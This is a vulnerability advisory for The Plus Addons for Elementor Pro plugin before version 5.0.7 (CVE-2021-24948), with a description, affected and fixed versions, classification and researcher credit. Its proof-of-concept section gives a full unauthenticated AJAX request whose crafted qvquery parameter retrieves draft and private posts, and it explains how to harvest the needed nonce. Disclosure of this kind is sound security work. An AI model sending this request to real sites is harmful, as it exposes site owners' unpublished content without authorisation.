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The Plus Addons for Elementor Pro < 5.0.7 - Sensitive Data Disclosure

Description

The plugin does not validate the qvquery parameter of the tp_get_dl_post_info_ajax AJAX action, which could allow unauthenticated users to retrieve sensitive information, such as private and draft posts

Proof of Concept

The following request allow an unauthenticated user to get the draft posts (the nonce can be retrieved by looking at the source code of pages/posts for 'var theplus_nonce = "xxxx";')

POST /wp-admin/admin-ajax.php HTTP/2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

action=tp_get_dl_post_info_ajax&security=a71d02fefb&product_id=1&qvquery=post%26post_status=draft%26p=%26post_type=any%26nopaging=true 

Affects Plugins

theplus_elementor_addon
Fixed in version 5.0.7

References

CVE
CVE-2021-24948
URL
https://roadmap.theplusaddons.com/updates

Classification

Type

SENSITIVE DATA DISCLOSURE

OWASP top 10
A3: Sensitive Data Exposure
CWE
CWE-200

Miscellaneous

Original Researcher

Nicolas Vidal from TEHTRIS

Submitter

Nicolas Vidal from TEHTRIS

Verified

Yes

WPVDB ID
2b67005a-476e-4772-b15c-3191911a50b0

Timeline

Publicly Published

2021-12-13 (about 1 years ago)

Added

2021-12-13 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

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